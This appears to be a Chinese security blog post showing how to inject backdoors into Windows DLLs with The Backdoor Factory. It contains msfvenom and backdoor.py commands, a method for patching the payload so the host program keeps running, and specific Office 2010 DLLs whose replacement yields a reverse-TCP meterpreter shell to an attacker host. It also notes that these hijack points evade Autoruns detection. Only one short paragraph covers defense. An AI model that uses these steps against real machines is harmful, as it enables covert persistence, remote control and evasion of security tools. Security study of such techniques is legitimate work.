利用 BDF 向 DLL 文件植入后门

发布于 2024-11-22 19:01:22 字数 5922 浏览 0 评论 0

0x00 前言

在之前的文章 《利用 BDF 向 EXE 文件植入后门》 介绍了使用 The Backdoor Factory 向 EXE 文件植入后门的方法,这次将要介绍向 DLL 文件植入后门的思路,演示一种 DLL 劫持的利用方法,总结该方法的特点,分析防御思路

0x01 简介

本文将要介绍以下内容:

  • 劫持自己的 DLL,修复 BUG
  • 劫持系统的 DLL,绕过 Autoruns 的后门检测

0x02 利用思路

DLL 同 EXE 文件的植入思路相同,也是通过修改程序的执行流程,跳转到 Code Caves,执行 payload,再返回至程序的正常流程

DLL 同 EXE 文件最大的区别是多了导出函数的功能

在实现 DLL 劫持时,常常需要获得原 DLL 的导出函数,模拟导出函数,添加 payload,实现利用

那么,The Backdoor Factory 在 DLL 文件的后门植入上,是否要考虑导出函数呢?

下面进行测试,得出结论

0x03 编写程序进行测试

测试 Dll testdll.dll:

#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        //MessageBox(NULL, NULL, NULL, 0);
        //Sleep(5000);
        printf("[+] DLL_PROCESS_ATTACH\n");
    case DLL_THREAD_ATTACH:
        printf("[+] DLL_THREAD_ATTACH\n");
    case DLL_THREAD_DETACH:
        printf("[+] DLL_THREAD_DETACH\n");
    case DLL_PROCESS_DETACH:
        printf("[+] DLL_PROCESS_DETACH\n");
        break;
    }
    return TRUE;
}

void Export1()
{
    printf("[+] Export1\n");
}

导出函数为 Export1

Dll 加载程序 loader.exe:

#include <windows.h> 
typedef void(*Export)();
int main(int argc, char* argv[])
{
    Export exporttest;
    printf("[*] LoadLibrary\n");
    HMODULE hDllLib = LoadLibrary("testdll.dll");
    exporttest=(Export)GetProcAddress(hDllLib ,"Export1");
    exporttest();
    Sleep(10000);
    FreeLibrary(hDllLib);
    printf("[*] FreeLibrary\n");
    return 0;
}

程序执行如下图,加载 testdll.dll,调用导出函数 Export1

Alt text

使用 The Backdoor Factory 为 DLL 文件添加后门:

msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin
./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a

再次执行 loader.exe,测试如下图

Alt text

成功执行 payload,但是改变了程序流程,无法正常返回 FreeLibrary

需要对 DLL 进行调试,找到出错的原因

首先生成空的跳转模板:

./backdoor.py -f testdll.dll -s cave_miner_inline

选择 .text

执行 Loader.exe,程序一切正常,那么就是中间的 payload 出了问题

使用 Immunity Debugger 打开新的 testdll.dll,找到劫持的位置,payload 保存在 0x10005716

如下图

Alt text

这里可以推测,payload 只要能够保持堆栈平衡,那么就不会影响程序的正常执行

接下来,在 0x10005716 处填入我们的 payload

可以使用 CFF Explorer 添加 payload

首先定位 payload 起始点

PUSHAD
PUSHFD

对应的 16 进制代码为 609C

在 CFF Explorer 中切换到 Hex Editor 视图,搜索 609C ,定位起始点 0x0000571A

注:

通过 Immunity Debugger 获得的内存虚拟地址为 0x1000571A ,二者对应,位置正确

为了扩大 payload 空间,可以将后面的调整堆栈平衡代码整体后移

如下图

Alt text

Alt text

0x0005772 - 0x0000579E 的数据整体后移,中间填入 0x90

选中该部分内容, 右键 - Copy - Hex

找到合适的位置, 右键 - Fill With...

完整操作如下图

Alt text

依此方法,中间填入修改后的 payload 即可,完成 Bug 修复

通过 Immunity Debugger 查看 DLL 文件,可以看到 The Backdoor Factory 对 DLL 和 EXE 文件进行跳转劫持的位置一样

如下图

Alt text

得出结论:

对于 DLL 文件来说,劫持初始化部分造成的结果是在 LoadLibrary 时即可执行 payload,如果想在程序加载 DLL 导出函数时执行 payload,将跳转代码改到导出函数内即可

0x04 劫持系统的 DLL

针对 Office 2010,分享几个自己找到的 DLL 劫持利用位置

1、劫持 Word-审阅试图

LOCALSVC.DLL,位于 C:\Program Files\Common Files\microsoft shared\RRLoc14\

对该 dll 添加 payload

./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded

替换 dll(需要管理员权限),启动 word.exe,切换至审阅视图,弹回 meterpreter

测试如下图

Alt text

2、劫持 word-插入-图片

tiptsf.dll,位于 C:\Program Files\Common Files\microsoft shared\ink\

需要 TrustedInstaller 权限才能替换

关于如何获得 TrustedInstaller 权限,可参考文章 《渗透技巧——Token 窃取与利用》

3、劫持 word-文件

也影响别的位置:

word -页面布局-主题-浏览主题

GrooveIntlResource.dll,位于 C:\Program Files\Microsoft Office\Office14\2052

需要管理员权限

4、劫持 Excel-插入-图片

MSPTLS.DLL,位于 C:\Program Files\Common Files\microsoft shared\OFFICE14\

需要管理员权限

以上测试如下图

Alt text

注:

本节内容仅为了演示 DLL 劫持的一些利用方法,这些特殊的劫持位置只会在软件的特定功能打开时才会启动,所以能够绕过 Autoruns 的检测

0x05 防御

对于系统 DLL,通过会带有微软签名,如果对 DLL 植入后门,签名会失效,这是一个老生常谈的问题,而对于第三方开发的软件,调用的第三方 DLL 不加签名,那么被利用的风险很大。

0x06 小结

本文测试了使用 The Backdoor Factory 向 DLL 文件植入后门的方法,介绍修复 BUG 的思路,分享了一种 DLL 劫持的利用方法,仅供测试,通过总结该利用方法的特点,简要介绍了防御方面需要注意的问题。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

辞取

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

安静被遗忘

文章 0 评论 0

喔爱吃橙子

文章 0 评论 0

草莓味的萝莉

文章 0 评论 0

梦里兽

文章 0 评论 0

mb_83J3Cyxa

文章 0 评论 0

时间海

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文